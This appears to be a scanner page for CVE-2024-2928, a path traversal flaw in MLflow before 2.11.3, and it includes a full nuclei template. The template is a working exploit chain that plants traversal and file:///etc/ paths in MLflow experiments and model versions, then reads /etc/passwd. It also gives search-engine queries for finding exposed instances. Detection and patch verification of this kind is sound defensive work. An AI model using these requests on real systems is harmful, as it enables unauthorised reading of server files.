MLflow < 2.11.3 - Path Traversal

highseverity

7.5CVSS score

21.8%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

MLflow versions prior to 2.11.3 are vulnerable to a Path Traversal attack due to improper URI fragment parsing. This vulnerability allows attackers to read arbitrary files on the server, potentially exposing sensitive information.

Impact

Successful exploitation could allow an attacker to read arbitrary files such as /etc/passwd in the local file system.

Fix

Upgrade MLflow to version 2.11.3 or later to mitigate this issue.

How to confirm it

Send: POST /ajax-api/2.0/mlflow/experiments/create ; POST /api/2.0/mlflow/runs/create ; POST /ajax-api/2.0/mlflow/registered-models/create ; POST /ajax-api/2.0/mlflow/model-versions/create ; GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version=1
Positive when: matches in body_5 /root:.*:0:0:/ AND contains in header_5 "filename=passwd" and "application/octet-stream" AND status 200

Run it with nuclei: nuclei -id CVE-2024-2928 -u <target>

The full check

id: CVE-2024-2928

info:
  name: MLflow < 2.11.3 - Path Traversal
  author: jyjyjy25,gy741,oriing,ANseunghyeon,woo4826
  severity: high
  description: |
    MLflow versions prior to 2.11.3 are vulnerable to a Path Traversal attack due to improper URI fragment parsing. This vulnerability allows attackers to read arbitrary files on the server, potentially exposing sensitive information.
  impact: |
    Successful exploitation could allow an attacker to read arbitrary files such as /etc/passwd in the local file system.
  remediation: |
    Upgrade MLflow to version 2.11.3 or later to mitigate this issue.
  reference:
    - https://huntr.com/bounties/19bf02d7-6393-4a95-b9d0-d6d4d2d8c298
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2928
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-2928
    cwe-id: CWE-29
    epss-score: 0.21847
    epss-percentile: 0.97664
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: lfprojects
    product: mlflow
    shodan-query: "http.title:\"mlflow\""
    fofa-query:
      - title="mlflow"
      - app="mlflow"
    google-query: intitle:"mlflow"
  tags: cve,cve2024,mlflow,lfi,intrusive,lfprojects,vuln

http:
  - raw:
      - |
        POST /ajax-api/2.0/mlflow/experiments/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{randstr}}", "artifact_location": "http:\/\/\/#\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/"}

      - |
        POST /api/2.0/mlflow/runs/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"experiment_id": "{{EXPERIMENT_ID}}"}

      - |
        POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{randstr}}"}

      - |
        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{randstr}}", "run_id": "{{RUN_ID}}", "source": "file:///etc/"}

      - |
        GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version=1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body_5
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header_5
        words:
          - "filename=passwd"
          - "application/octet-stream"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: json
        part: body_1
        name: EXPERIMENT_ID
        group: 1
        json:
          - '.experiment_id'
        internal: true

      - type: json
        part: body_2
        name: RUN_ID
        group: 1
        json:
          - '.run.info.run_id'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from